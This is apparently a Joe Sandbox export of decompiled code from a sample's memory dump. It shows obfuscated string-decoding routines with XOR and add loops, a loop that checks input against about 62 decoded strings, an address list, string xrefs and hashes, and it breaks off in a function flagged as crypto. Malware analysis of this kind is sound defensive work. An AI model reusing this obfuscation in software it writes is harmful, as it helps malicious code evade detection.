				_a384 = 0x96;
				_t604 = E00407370( &_a380);
				_push(9);
				_push( &_a808);
				_a108 = _t604;
				_a808 = 0x12;
				_a809 = 0xa1;
				_a810 = 0x1d;
				_a811 = 0x83;
				_a812 = 0x74;
				_a813 = 0xe9;
				_a814 = 0x5b;
				_a815 = 0x5a;
				_a816 = 0x4b;
				_a380 = 0x93;
				_a381 = 0xf1;
				_a382 = 0x94;
				_a383 = 0xe6;
				_a384 = 0x8d;
				_a385 = 0xe8;
				_a386 = 0x84;
				_a387 = 0xe1;
				_a388 = 0x98;
				_t605 = E00407370( &_a380);
				_t776 = _t775 + 0x10;
				_a124 = _t605;
				_a624 = 0xbc;
				_a625 = 0xb0;
				_a626 = 0xb1;
				_a627 = 0xab;
				_a628 = 0xbe;
				_a629 = 0xbc;
				_a630 = 0xab;
				_a631 = 0xdf;
				_t606 = 0;
				do {
					 *(_t776 + _t606 + 0x270) =  *(_t776 + _t606 + 0x270) ^ 0x000000df;
					_t606 = _t606 + 1;
				} while (_t606 < 8);
				_a608 = 0x4b;
				_a609 = 0x56;
				_a610 = 0x4f;
				_a611 = 0x43;
				_a612 = 0x5e;
				_a613 = 0x42;
				_a614 = 0x4b;
				_a615 = 0x2e;
				_t607 = 0;
				do {
					 *(_t776 + _t607 + 0x260) =  *(_t776 + _t607 + 0x260) ^ 0x0000002e;
					_t607 = _t607 + 1;
				} while (_t607 < 8);
				_a424 = 0xa7;
				_a425 = 0xc7;
				_a426 = 0xbe;
				_a427 = 0x8e;
				_a428 = 0x14;
				_a380 = 0xbf;
				_a381 = 0xa2;
				_a382 = 0xa6;
				_a383 = 0xe1;
				_a384 = 0xec;
				_t608 = 0;
				do {
					 *((char*)(_t776 + _t608 + 0x1a8)) =  *((intOrPtr*)(_t776 + _t608 + 0x1a8)) +  *((intOrPtr*)(_t776 + _t608 + 0x17c));
					_t608 = _t608 + 1;
				} while (_t608 < 5);
				_push(4);
				_push( &_a40);
				_a40 = 0x83;
				_a41 = 0x40;
				_a42 = 0xeb;
				_a43 = 0x5c;
				_a392 = 0x45;
				_a393 = 0x22;
				_a394 = 0x4c;
				_a395 = 0x39;
				_t610 = E00407370( &_a392);
				_push(0xb);
				_push( &_a856);
				_a52 = _t610;
				_a856 = 0x88;
				_a857 = 0x9c;
				_a858 = 0x95;
				_a859 = 0x1d;
				_a860 = 0xbd;
				_a861 = 0x48;
				_a862 = 0x67;
				_a863 = 0x6a;
				_a864 = 0xa9;
				_a865 = 0xb0;
				_a866 = 0xbc;
				_a380 = 0x86;
				_a381 = 0xe1;
				_a382 = 0x8e;
				_a383 = 0xe2;
				_a384 = 0x86;
				_a385 = 0xab;
				_a386 = 0xc8;
				_a387 = 0xad;
				_a388 = 0xdf;
				_a389 = 0xab;
				_a390 = 0xd8;
				_a60 = E00407370( &_a380);
				_a774 = 0xe;
				_a380 = 0xe;
				_a768 = 0xc4;
				_a769 = 0x64;
				_a770 = 0x99;
				_a771 = 0x7b;
				_a772 = 0xe3;
				_a773 = 0x8b;
				_a381 = 0xee;
				_a382 = 0x8f;
				_a383 = 0x1c;
				_a384 = 0xf6;
				_a385 = 0xb;
				_a386 = 0xa3;
				_a64 = E004073E0( &_a380, 7,  &_a768);
				_push(5);
				_push( &_a692);
				_a692 = 0x39;
				_a693 = 0xcb;
				_a694 = 0xd1;
				_a695 = 0x15;
				_a696 = 0x5b;
				_a376 = 0x1c;
				_a377 = 0x74;
				_a378 = 0x11;
				_a379 = 0x7d;
				_a380 = 0xd;
				_t616 = E00407370( &_a376);
				_t778 = _t776 + 0x18;
				_a72 = _t616;
				_a596 = 0xbe;
				_a597 = 0x45;
				_a598 = 0xf2;
				_a599 = 0x15;
				_a600 = 0x9d;
				_a601 = 0x1e;
				_a602 = 0xdb;
				_a603 = 0x81;
				_a376 = 0xd7;
				_a377 = 0x27;
				_a378 = 0x9f;
				_a379 = 0x3b;
				_a380 = 0xfe;
				_a381 = 0x71;
				_a382 = 0xb6;
				_a383 = 0x81;
				_t617 = 0;
				do {
					 *(_t778 + _t617 + 0x258) =  *(_t778 + _t617 + 0x258) ^  *(_t778 + _t617 + 0x17c);
					_t617 = _t617 + 1;
				} while (_t617 < 8);
				_a584 = 0xe8;
				_a585 = 0xe6;
				_a586 = 0xf1;
				_a587 = 0xed;
				_a588 = 0xe6;
				_a589 = 0xef;
				_a590 = 0x83;
				_t618 = 0;
				do {
					 *(_t778 + _t618 + 0x248) =  *(_t778 + _t618 + 0x248) ^ 0x00000083;
					_t618 = _t618 + 1;
				} while (_t618 < 7);
				_push(8);
				_push( &_a792);
				_a792 = 0x26;
				_a793 = 0xee;
				_a794 = 0x2d;
				_a795 = 0xb4;
				_a796 = 0x7d;
				_a797 = 0xce;
				_a798 = 0xb3;
				_a799 = 0xa6;
				_a380 = 0xcc;
				_a381 = 0xa1;
				_a382 = 0xce;
				_a383 = 0xb4;
				_a384 = 0xdd;
				_a385 = 0xb1;
				_a386 = 0xdd;
				_a387 = 0xbc;
				_t619 = E00407370( &_a380);
				_t779 = _t778 + 8;
				_a84 = _t619;
				_a632 = 0xbf;
				_a633 = 0x70;
				_a634 = 0x89;
				_a635 = 0x13;
				_a636 = 0x32;
				_a637 = 0x3a;
				_a638 = 0xee;
				_a639 = 0xb6;
				_a380 = 0xd2;
				_a381 = 9;
				_a382 = 0xed;
				_a383 = 0x7c;
				_a384 = 0x5f;
				_a385 = 0x5b;
				_a386 = 0x87;
				_a387 = 0xb6;
				_t620 = 0;
				do {
					 *(_t779 + _t620 + 0x278) =  *(_t779 + _t620 + 0x278) ^  *(_t779 + _t620 + 0x17c);
					_t620 = _t620 + 1;
				} while (_t620 < 8);
				_a648 = 0xc2;
				_a649 = 0xc0;
				_a650 = 0xcc;
				_a651 = 0xa8;
				_a652 = 0x1b;
				_a653 = 0xe8;
				_a654 = 0xb0;
				_a655 = 0xac;
				_a380 = 0xb2;
				_a381 = 0xb2;
				_a382 = 0xa5;
				_a383 = 0xde;
				_a384 = 0x7a;
				_a385 = 0x8b;
				_a386 = 0xc9;
				_a387 = 0xac;
				_t621 = 0;
				do {
					 *(_t779 + _t621 + 0x288) =  *(_t779 + _t621 + 0x288) ^  *(_t779 + _t621 + 0x17c);
					_t621 = _t621 + 1;
				} while (_t621 < 8);
				_a528 = 0x20;
				_a529 = 0x7d;
				_a530 = 0xb6;
				_a531 = 0x83;
				_a532 = 0x26;
				_a533 = 0x8e;
				_a534 = 0xdf;
				_a380 = 0x52;
				_a381 = 0xe9;
				_a382 = 0xad;
				_a383 = 0xaa;
				_a384 = 0x3f;
				_a385 = 0xd6;
				_a386 = 0x21;
				_t622 = 0;
				do {
					 *((char*)(_t779 + _t622 + 0x210)) =  *((intOrPtr*)(_t779 + _t622 + 0x210)) +  *((intOrPtr*)(_t779 + _t622 + 0x17c));
					_t622 = _t622 + 1;
				} while (_t622 < 7);
				_a504 = 0x49;
				_a505 = 0x5e;
				_a506 = 0xeb;
				_a507 = 0x2a;
				_a508 = 0x9c;
				_a509 = 0xed;
				_a380 = 0x3b;
				_a381 = 0x37;
				_a382 = 0x9b;
				_a383 = 0x4f;
				_a384 = 0xb2;
				_a385 = 0xed;
				_t623 = 0;
				do {
					 *(_t779 + _t623 + 0x1f8) =  *(_t779 + _t623 + 0x1f8) ^  *(_t779 + _t623 + 0x17c);
					_t623 = _t623 + 1;
				} while (_t623 < 6);
				_push(9);
				_push( &_a832);
				_a832 = 0x5f;
				_a833 = 0x23;
				_a834 = 0x3b;
				_a835 = 0xab;
				_a836 = 0x46;
				_a837 = 0x35;
				_a838 = 0x50;
				_a839 = 0x11;
				_a840 = 7;
				_a380 = 0x11;
				_a381 = 0x62;
				_a382 = 7;
				_a383 = 0x69;
				_a384 = 0xd;
				_a385 = 0x60;
				_a386 = 1;
				_a387 = 0x68;
				_a388 = 4;
				_t625 = E00407370( &_a380);
				_t780 = _t779 + 8;
				_a92 = _t625;
				_a640 = 0x8f;
				_a641 = 0x99;
				_a642 = 0x8e;
				_a643 = 0x8a;
				_a644 = 0x95;
				_a645 = 0x9f;
				_a646 = 0x99;
				_a647 = 0xfc;
				_t626 = 0;
				do {
					 *(_t780 + _t626 + 0x280) =  *(_t780 + _t626 + 0x280) ^ 0x000000fc;
					_t626 = _t626 + 1;
				} while (_t626 < 8);
				_a383 = 0x8a;
				_push(9);
				_push( &_a820);
				_a820 = 0xe6;
				_a821 = 0xd3;
				_a822 = 0xe5;
				_a823 = 0xc2;
				_a824 = 0xef;
				_a825 = 0xd8;
				_a826 = 0xd5;
				_a827 = 0x56;
				_a828 = 0x50;
				_a380 = 0xfb;
				_a381 = 0x88;
				_a382 = 0xe7;
				_a384 = 0xef;
				_a385 = 0x8d;
				_a386 = 0xe2;
				_a387 = 0x86;
				_a388 = 0xff;
				_t661 = E00407370( &_a380);
				_t781 = _t780 + 8;
				_a783 = 0xc6;
				_a380 = 0xc6;
				_a776 = 0x54;
				_a777 = 0x44;
				_a778 = 0x24;
				_a779 = 0xa0;
				_a780 = 0x98;
				_a781 = 0x73;
				_a782 = 0x3a;
				_a381 = 0x5f;
				_a382 = 0x1d;
				_a383 = 0xf7;
				_a384 = 0xc5;
				_a385 = 0x49;
				_a386 = 0x2b;
				_a387 = 0x27;
				_a376 = E004073E0( &_a380, 8,  &_a776);
				_a532 = 0x74;
				_a533 = 0x72;
				_a534 = 0x64;
				_a535 = 0x6f;
				_a536 = 0x64;
				_a537 = 0x75;
				_a538 = 1;
				_t631 = 0;
				do {
					 *(_t781 + _t631 + 0x218) =  *(_t781 + _t631 + 0x218) ^ 0x00000001;
					_t631 = _t631 + 1;
				} while (_t631 < 7);
				_a36 = 0xc3;
				_a37 = 0xbd;
				_a38 = 0x29;
				_a39 = 0xe7;
				_a392 = 0xe7;
				_a393 = 0x5e;
				_a394 = 0xca;
				_a395 = 0xb4;
				_t634 = E004073E0( &_a392, 4,  &_a36);
				_push(4);
				_push( &_a40);
				_t770 = _t634;
				_a40 = 0x91;
				_a41 = 0xb2;
				_a42 = 0;
				_a43 = 0x98;
				_a388 = 0xe0;
				_a389 = 0x99;
				_a390 = 0xf6;
				_a391 = 0x83;
				_t635 = E00407370( &_a388);
				_t782 = _t781 + 8;
				_t773 = _t635;
				_a436 = 0xad;
				_a437 = 0xbb;
				_a438 = 0xa1;
				_a439 = 0xa6;
				_a440 = 0xd4;
				_t636 = 0;
				do {
					 *(_t782 + _t636 + 0x1b8) =  *(_t782 + _t636 + 0x1b8) ^ 0x000000d4;
					_t636 = _t636 + 1;
				} while (_t636 < 5);
				_a576 = 0x64;
				_a577 = 0xb0;
				_a578 = 0x5d;
				_a579 = 0x6c;
				_a580 = 0x63;
				_a581 = 0xb4;
				_a582 = 0xf8;
				_a392 = 0xfd;
				_a393 = 0xc0;
				_a394 = 4;
				_a395 = 0xf7;
				_a396 = 5;
				_a397 = 0xb1;
				_a398 = 8;
				_t637 = 0;
				do {
					 *((char*)(_t782 + _t637 + 0x240)) =  *((intOrPtr*)(_t782 + _t637 + 0x240)) +  *((intOrPtr*)(_t782 + _t637 + 0x188));
					_t637 = _t637 + 1;
				} while (_t637 < 7);
				_a28 = 0x5a;
				_a29 = 0x34;
				_a30 = 0xa;
				_a392 = 0xa;
				_a393 = 0x4c;
				_a394 = 0x22;
				_t640 = E004073E0( &_a392, 3,  &_a28);
				_a16 = 0x4a;
				_a17 = 0x7b;
				_a18 = 0xef;
				_a19 = 0x45;
				_a388 = 0x1c;
				_a389 = 0xf9;
				_a390 = 0x81;
				_a391 = 0xbb;
				_t685 = 0;
				do {
					 *((intOrPtr*)(_t782 + _t685 + 0x14)) =  *((intOrPtr*)(_t782 + _t685 + 0x14)) +  *((intOrPtr*)(_t782 + _t685 + 0x188));
					_t685 = _t685 + 1;
				} while (_t685 < 4);
				_a136 = _a56;
				_a144 = _a64;
				_a132 =  &_a464;
				_a140 = _a96;
				_a148 = _a104;
				_a152 =  &_a560;
				_a156 =  &_a544;
				_a160 =  &_a448;
				_a164 =  &_a552;
				_a172 = _a72;
				_a180 = _a80;
				_a168 =  &_a668;
				_a176 = _a112;
				_a184 =  &_a456;
				_a188 =  &_a520;
				_a192 =  &_a488;
				_a200 = _a120;
				_a208 = _a88;
				_a196 =  &_a592;
				_a204 =  &_a416;
				_a212 =  &_a400;
				_a216 =  &_a432;
				_a220 =  &_a616;
				_a224 =  &_a24;
				_a232 = _a128;
				_a228 =  &_a472;
				_a240 = _a48;
				_a236 =  &_a656;
				_a244 =  &_a480;
				_a248 =  &_a496;
				_a252 =  &_a512;
				_a256 = _a100;
				_a260 =  &_a568;
				_a264 = _a116;
				_a268 =  &_a408;
				_a272 = _a108;
				_a276 = _a124;
				_a280 =  &_a624;
				_a284 =  &_a608;
				_a288 =  &_a424;
				_t768 = _a916;
				_a292 = _a52;
				_a296 = _a60;
				_a300 = _a68;
				_a304 = _a76;
				_a308 =  &_a600;
				_a312 =  &_a584;
				_a316 = _a84;
				_a320 =  &_a632;
				_a324 =  &_a648;
				_a328 =  &_a528;
				_a332 =  &_a504;
				_a336 = _a92;
				_a340 =  &_a640;
				_a348 = _a380;
				_a352 =  &_a536;
				_a364 =  &_a440;
				_a356 = _t770;
				_a344 = _t661;
				_a360 = _t773;
				_a368 =  &_a576;
				_a372 = _t640;
				_a376 =  &_a20;
				_t771 = 0;
				while(1) {
					_a16 = _a16 ^ _a16 * 0x00000038 & 0x000000ff;
					 *0x431c86 = 0x37;
					_t644 = E00425320(_t768,  *((intOrPtr*)(_t782 + 0x84 + _t771 * 4)));
					_t782 = _t782 + 8;
					if(_t644 != 0) {
						break;
					}
					_t771 = _t771 + 1;
					if(_t771 < 0x3e) {
						continue;
					} else {
						if(_a892 >= 0x10) {
							_push(_a872);
							L00424BCD();
							_t782 = _t782 + 4;
						}
						_t645 = 1;
					}
					L38:
					 *[fs:0x0] = _a900;
					return E00424873(_t645, _a896);
				}
				if(_a892 < 0x10) {
					_t645 = 0;
				} else {
					_push(_a872);
					L00424BCD();
					_t782 = _t782 + 4;
					_t645 = 0;
				}
				goto L38;
			}

0x00409cf7
0x00409d00
0x00409d00
0x00409d08
0x00409d09
0x00409d22
0x00409d2a
0x00409d32
0x00409d3a
0x00409d42
0x00409d4a
0x00409d52
0x00409d5a
0x00409d62
0x00409d6a
0x00409d79
0x00409d7d
0x00409d85
0x00409d8d
0x00409d95
0x00409d9d
0x00409da4
0x00409dac
0x00409db4
0x00409dbc
0x00409dc4
0x00409dcb
0x00409dd0
0x00409de0
0x00409de7
0x00409de8
0x00409df4
0x00409dfb
0x00409dfd
0x00409e05
0x00409e0d
0x00409e15
0x00409e1d
0x00409e25
0x00409e2d
0x00409e35
0x00409e3d
0x00409e45
0x00409e4d
0x00409e59
0x00409e5b
0x00409e63
0x00409e67
0x00409e6f
0x00409e77
0x00409e7f
0x00409e87
0x00409e8f
0x00409e97
0x00409e9f
0x00409ea7
0x00409eaf
0x00409eb7
0x00409ebf
0x00409ec7
0x00409ecf
0x00409ed7
0x00409edf
0x00409ee7
0x00409eef
0x00409ef7
0x00409efe
0x00409f01
0x00409f05
0x00409f0c
0x00409f14
0x00409f1c
0x00409f24
0x00409f2c
0x00409f33
0x00409f3b
0x00409f43
0x00409f50
0x00409f50
0x00409f58
0x00409f59
0x00409f5e
0x00409f66
0x00409f6e
0x00409f76
0x00409f7e
0x00409f86
0x00409f8e
0x00409f96
0x00409f9e
0x00409fa0
0x00409fa0
0x00409fa8
0x00409fa9
0x00409fae
0x00409fb6
0x00409fbe
0x00409fc6
0x00409fce
0x00409fd6
0x00409fde
0x00409fe6
0x00409fee
0x00409ff6
0x00409ffe
0x0040a000
0x0040a010
0x0040a017
0x0040a018
0x0040a021
0x0040a023
0x0040a02b
0x0040a030
0x0040a035
0x0040a03a
0x0040a03f
0x0040a047
0x0040a04f
0x0040a057
0x0040a05f
0x0040a06b
0x0040a06d
0x0040a075
0x0040a079
0x0040a081
0x0040a089
0x0040a091
0x0040a099
0x0040a0a1
0x0040a0a9
0x0040a0b1
0x0040a0b9
0x0040a0c1
0x0040a0c9
0x0040a0d0
0x0040a0d8
0x0040a0e0
0x0040a0e8
0x0040a0f0
0x0040a0f8
0x0040a100
0x0040a108
0x0040a110
0x0040a118
0x0040a120
0x0040a12d
0x0040a13d
0x0040a144
0x0040a158
0x0040a160
0x0040a168
0x0040a170
0x0040a178
0x0040a180
0x0040a188
0x0040a190
0x0040a198
0x0040a1a0
0x0040a1a8
0x0040a1b0
0x0040a1bd
0x0040a1c8
0x0040a1ca
0x0040a1d2
0x0040a1da
0x0040a1e2
0x0040a1ea
0x0040a1f2
0x0040a1fa
0x0040a202
0x0040a20a
0x0040a212
0x0040a21a
0x0040a222
0x0040a227
0x0040a22a
0x0040a22e
0x0040a236
0x0040a23e
0x0040a246
0x0040a24e
0x0040a256
0x0040a25e
0x0040a266
0x0040a26e
0x0040a276
0x0040a27e
0x0040a286
0x0040a28e
0x0040a296
0x0040a29e
0x0040a2a6
0x0040a2ae
0x0040a2b0
0x0040a2c0
0x0040a2c7
0x0040a2c8
0x0040a2cd
0x0040a2d5
0x0040a2dd
0x0040a2e5
0x0040a2ed
0x0040a2f5
0x0040a2fd
0x0040a305
0x0040a310
0x0040a310
0x0040a318
0x0040a319
0x0040a325
0x0040a327
0x0040a32f
0x0040a337
0x0040a33f
0x0040a347
0x0040a34f
0x0040a357
0x0040a35f
0x0040a367
0x0040a36f
0x0040a377
0x0040a37f
0x0040a387
0x0040a38f
0x0040a397
0x0040a39f
0x0040a3a7
0x0040a3ae
0x0040a3b3
0x0040a3b6
0x0040a3ba
0x0040a3c2
0x0040a3ca
0x0040a3d2
0x0040a3da
0x0040a3e2
0x0040a3ea
0x0040a3f2
0x0040a3fa
0x0040a402
0x0040a40a
0x0040a412
0x0040a41a
0x0040a422
0x0040a42a
0x0040a432
0x0040a43a
0x0040a440
0x0040a450
0x0040a457
0x0040a458
0x0040a45d
0x0040a465
0x0040a46d
0x0040a475
0x0040a47d
0x0040a485
0x0040a48d
0x0040a495
0x0040a49d
0x0040a4a5
0x0040a4ad
0x0040a4b5
0x0040a4bd
0x0040a4c5
0x0040a4cd
0x0040a4d5
0x0040a4dd
0x0040a4e0
0x0040a4f0
0x0040a4f7
0x0040a4f8
0x0040a4fd
0x0040a505
0x0040a50d
0x0040a515
0x0040a51d
0x0040a525
0x0040a52d
0x0040a535
0x0040a53d
0x0040a545
0x0040a54d
0x0040a555
0x0040a55d
0x0040a565
0x0040a56d
0x0040a570
0x0040a580
0x0040a587
0x0040a588
0x0040a58d
0x0040a595
0x0040a59d
0x0040a5a5
0x0040a5ad
0x0040a5b5
0x0040a5bd
0x0040a5c5
0x0040a5cd
0x0040a5d5
0x0040a5dd
0x0040a5e5
0x0040a5ed
0x0040a5f0
0x0040a600
0x0040a607
0x0040a608
0x0040a614
0x0040a616
0x0040a61e
0x0040a626
0x0040a62e
0x0040a636
0x0040a63e
0x0040a646
0x0040a64e
0x0040a656
0x0040a65e
0x0040a666
0x0040a66e
0x0040a676
0x0040a67e
0x0040a686
0x0040a68e
0x0040a696
0x0040a69e
0x0040a6a6
0x0040a6ae
0x0040a6b5
0x0040a6b8
0x0040a6bc
0x0040a6c4
0x0040a6cc
0x0040a6d4
0x0040a6db
0x0040a6e3
0x0040a6eb
0x0040a6f3
0x0040a6fb
0x0040a700
0x0040a700
0x0040a708
0x0040a709
0x0040a70e
0x0040a71c
0x0040a71e
0x0040a726
0x0040a72e
0x0040a736
0x0040a73e
0x0040a746
0x0040a74e
0x0040a756
0x0040a75e
0x0040a766
0x0040a76e
0x0040a776
0x0040a77e
0x0040a786
0x0040a78e
0x0040a796
0x0040a79e
0x0040a7a6
0x0040a7b3
0x0040a7b7
0x0040a7c1
0x0040a7c8
0x0040a7dc
0x0040a7e4
0x0040a7ec
0x0040a7f4
0x0040a7fc
0x0040a804
0x0040a80c
0x0040a814
0x0040a81c
0x0040a824
0x0040a82c
0x0040a834
0x0040a83c
0x0040a844
0x0040a851
0x0040a858
0x0040a860
0x0040a868
0x0040a870
0x0040a878
0x0040a880
0x0040a888
0x0040a890
0x0040a892
0x0040a892
0x0040a89a
0x0040a89b
0x0040a8b1
0x0040a8b6
0x0040a8bb
0x0040a8c0
0x0040a8c5
0x0040a8cd
0x0040a8d5
0x0040a8dd
0x0040a8e5
0x0040a8ee
0x0040a8ef
0x0040a8f7
0x0040a8f9
0x0040a8fe
0x0040a903
0x0040a908
0x0040a90d
0x0040a915
0x0040a91d
0x0040a925
0x0040a92d
0x0040a932
0x0040a935
0x0040a937
0x0040a93f
0x0040a947
0x0040a94f
0x0040a957
0x0040a95f
0x0040a961
0x0040a961
0x0040a969
0x0040a96a
0x0040a96f
0x0040a977
0x0040a97f
0x0040a987
0x0040a98f
0x0040a997
0x0040a99f
0x0040a9a7
0x0040a9af
0x0040a9b7
0x0040a9bf
0x0040a9c7
0x0040a9cf
0x0040a9d7
0x0040a9df
0x0040a9f0
0x0040aa00
0x0040aa07
0x0040aa08
0x0040aa1e
0x0040aa23
0x0040aa28
0x0040aa2d
0x0040aa35
0x0040aa3d
0x0040aa45
0x0040aa4a
0x0040aa4f
0x0040aa54
0x0040aa59
0x0040aa5e
0x0040aa66
0x0040aa6e
0x0040aa76
0x0040aa7e
0x0040aa80
0x0040aa87
0x0040aa8b
0x0040aa8c
0x0040aa95
0x0040aaa0
0x0040aaae
0x0040aab9
0x0040aac4
0x0040aad2
0x0040aae0
0x0040aaee
0x0040aafc
0x0040ab07
0x0040ab12
0x0040ab20
0x0040ab2b
0x0040ab39
0x0040ab47
0x0040ab55
0x0040ab60
0x0040ab6b
0x0040ab79
0x0040ab87
0x0040ab95
0x0040aba3
0x0040abb1
0x0040abbc
0x0040abca
0x0040abdc
0x0040abe3
0x0040abf1
0x0040abff
0x0040ac0d
0x0040ac1f
0x0040ac26
0x0040ac38
0x0040ac3f
0x0040ac51
0x0040ac5c
0x0040ac6a
0x0040ac78
0x0040ac86
0x0040ac91
0x0040ac9c
0x0040aca3
0x0040acae
0x0040acb9
0x0040acc0
0x0040acce
0x0040ace0
0x0040ace7
0x0040acf5
0x0040ad03
0x0040ad11
0x0040ad23
0x0040ad2a
0x0040ad3f
0x0040ad46
0x0040ad5b
0x0040ad62
0x0040ad74
0x0040ad7b
0x0040ad82
0x0040ad89
0x0040ad90
0x0040ad97
0x0040ad9e
0x0040ada0
0x0040adaf
0x0040adbc
0x0040adc3
0x0040adc8
0x0040adcd
0x00000000
0x00000000
0x0040adcf
0x0040add3
0x00000000
0x0040add5
0x0040addd
0x0040ade6
0x0040ade7
0x0040adec
0x0040adec
0x0040adef
0x0040adef
0x0040adf4
0x0040adfe
0x0040ae18
0x0040ae18
0x0040ae49
0x0040ae3d
0x0040ae4b
0x0040ae52
0x0040ae53
0x0040ae58
0x0040ae5b
0x0040ae5b
0x00000000

Strings

c, xrefs: 0040A98F
g, xrefs: 0040A0A9
I, xrefs: 0040A834
;, xrefs: 0040A62E
$, xrefs: 0040A7EC
i, xrefs: 00409E0D
&, xrefs: 0040A51D
{, xrefs: 0040A170
', xrefs: 0040A844
`, xrefs: 0040A68E
d, xrefs: 0040A878
^, xrefs: 0040A595
\, xrefs: 0040A03A
K, xrefs: 00409EA7
{, xrefs: 0040AA4F
@, xrefs: 0040A030
I, xrefs: 0040A58D
", xrefs: 0040A047
d, xrefs: 0040A96F
L, xrefs: 0040AA35
B, xrefs: 00409F86
9, xrefs: 0040A1D2
}, xrefs: 0040A505
n, xrefs: 00409D85
V, xrefs: 0040A75E
O, xrefs: 0040A5D5
J, xrefs: 0040AA4A
+, xrefs: 0040A83C
r, xrefs: 0040A860
&, xrefs: 0040A32F
L, xrefs: 0040A04F
h, xrefs: 0040A69E
K, xrefs: 00409F8E
Z, xrefs: 00409E9F
2, xrefs: 0040A3DA
Z, xrefs: 0040AA1E
O, xrefs: 00409F6E
9, xrefs: 0040A057
*, xrefs: 0040A5A5
_, xrefs: 0040A61E
T, xrefs: 00409D6A
d, xrefs: 0040A160
Z, xrefs: 00409D00
E, xrefs: 0040A03F
:, xrefs: 0040A3E2
", xrefs: 0040AA3D
4, xrefs: 0040AA23
t, xrefs: 00409E87
;, xrefs: 0040A5BD
, xrefs: 0040A4FD
-, xrefs: 0040A33F
D, xrefs: 0040A7E4
t, xrefs: 0040A858
F, xrefs: 0040A63E
E, xrefs: 0040A236
E, xrefs: 0040AA59
_, xrefs: 0040A814
., xrefs: 00409FA0
}, xrefs: 0040A34F
), xrefs: 0040A8BB
#, xrefs: 0040A626
!, xrefs: 0040A565
., xrefs: 00409F96
j, xrefs: 0040A0B1
7, xrefs: 0040A5C5
l, xrefs: 0040A987
^, xrefs: 00409F7E
4, xrefs: 00409D95
[, xrefs: 00409E97
:, xrefs: 0040A80C
P, xrefs: 0040A64E
T, xrefs: 0040A7DC
C, xrefs: 00409F76
], xrefs: 0040A97F
?, xrefs: 0040A555
s, xrefs: 0040A804
d, xrefs: 0040A868
[, xrefs: 0040A1F2
u, xrefs: 0040A880
o, xrefs: 0040A870
#, xrefs: 00409E1D
p, xrefs: 0040A3C2
5, xrefs: 0040A646
), xrefs: 00409D7D
P, xrefs: 0040A766
H, xrefs: 0040A0A1
V, xrefs: 00409F66

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID:
String ID: $!$"$"$#$#$$$&$&$'$)$)$*$+$-$.$.$2$4$4$5$7$9$9$:$:$;$;$?$@$B$C$D$E$E$E$F$H$I$I$J$K$K$L$L$O$O$P$P$T$T$V$V$Z$Z$Z$[$[$\$]$^$^$_$_$`$c$d$d$d$d$g$h$i$j$l$n$o$p$r$s$t$t$u${${$}$}
API String ID: 0-3399755458
Opcode ID: bd7c04dccf065e1d88f6d9f7e92eaab3c2c44fac3a6ad3412f958f15279ef865
Instruction ID: 7bb5c3633d4d28a97bd5419e7888351cfa4f1d60291a9d888d1e89523d7a5470
Opcode Fuzzy Hash: bd7c04dccf065e1d88f6d9f7e92eaab3c2c44fac3a6ad3412f958f15279ef865
Instruction Fuzzy Hash: DDA2A13040C7C29AD336C63888587CBBFD46BA6324F588B9DD1ED4A2D2D675024AD767

Uniqueness

Uniqueness Score: -1.00%

Function 0040E246, Relevance: 98.0, Strings: 78, Instructions: 512
COMMONCrypto

Download Yara Rule

C-Code - Quality: 97%

			E0040E246(void* __eax, char __ebx, void* __esi, signed int _a4, signed int _a5, signed int _a6, signed int _a7, intOrPtr _a8, char _a12, char _a13, char _a14, char _a15, intOrPtr _a16, char _a20, char _a21, char _a22, char _a23, signed char _a24, signed char _a25, signed char _a26, signed char _a27, intOrPtr _a28, char* _a32, char* _a36, char* _a40, char* _a44, char* _a48, char* _a52, char* _a56, intOrPtr _a60, intOrPtr _a64, char* _a68, intOrPtr _a72, char* _a76, char* _a80, char* _a84, signed int _a88, char* _a92, signed int* _a96, intOrPtr _a100, char* _a104, char* _a108, intOrPtr _a112, char* _a116, char* _a120, char* _a124, intOrPtr _a128, signed char* _a132, char* _a136, intOrPtr _a140, char* _a144, intOrPtr _a148, char* _a152, intOrPtr _a156, char* _a160, signed char* _a164, signed int* _a168, signed char* _a172, signed int* _a176, intOrPtr _a180, signed char _a184, signed char _a185, signed char _a186, signed char _a187, signed char _a188, signed int _a189, signed int _a192, signed int _a193, signed int _a194, signed int _a195, signed int _a196, signed int _a197, signed int _a200, signed int _a201, signed int _a202, signed int _a203, signed int _a204, signed int _a205, char _a206, char _a208, signed int _a209, signed int _a210, signed int _a211, signed int _a212, signed int _a213, signed int _a214, signed int _a216, signed int _a217, signed int _a218, signed int _a219, signed int _a220, signed int _a221, char _a224, char _a232, char _a240, char _a241, char _a242, char _a243, char _a244, char _a248, char _a256, char _a257, char _a258, char _a259, char _a260, char _a264, char _a272, char _a273, char _a274, char _a275, char _a276, char _a277, char _a280, char _a281, char _a282, char _a283, char _a284, char _a285, char _a288, signed char _a296, signed char _a297, signed char _a298, signed char _a299, signed char _a300, signed char _a301, char _a304, char _a320, char _a328, char _a336, char _a337, char _a338, char _a339, char _a340, char _a341, char _a344, signed char _a352, signed char _a353, signed char _a354, signed char _a355, signed char _a356, signed char _a357, char _a360, char _a361, char _a362, char _a363, char _a364, char _a365, char _a376, char _a384, signed char _a392, signed char _a393, signed char _a394, signed char _a395, signed char _a396, signed char _a397, char _a400, char _a401, char _a402, char _a403, char _a404, char _a405, char _a416, char _a424, char _a425, char _a426, char _a427, char _a428, char _a429, char _a432, char _a440, signed char _a448, signed char _a449, signed char _a450, signed char _a451, signed char _a452, signed char _a453, signed char _a454, char _a456, char _a472, char _a473, char _a474, char _a475, char _a476, char _a477, char _a478, char _a479) {
				char _v0;
				intOrPtr _v4;
				char _v8;
				intOrPtr _v20;
				void* _t412;
				void* _t419;
				void* _t425;
				void* _t432;
				void* _t438;
				void* _t445;
				char _t452;
				char _t457;
				signed int _t475;
				intOrPtr* _t477;
				char _t483;
				char _t489;
				char _t499;
				char _t504;
				char _t510;
				void* _t516;
				void* _t521;
				intOrPtr _t539;
				intOrPtr _t593;
				void* _t594;
				void* _t596;
				void* _t597;
				signed int _t598;
				void* _t599;
				void* _t600;
				void* _t601;
				void* _t602;
				void* _t603;
				intOrPtr _t607;
				void* _t609;

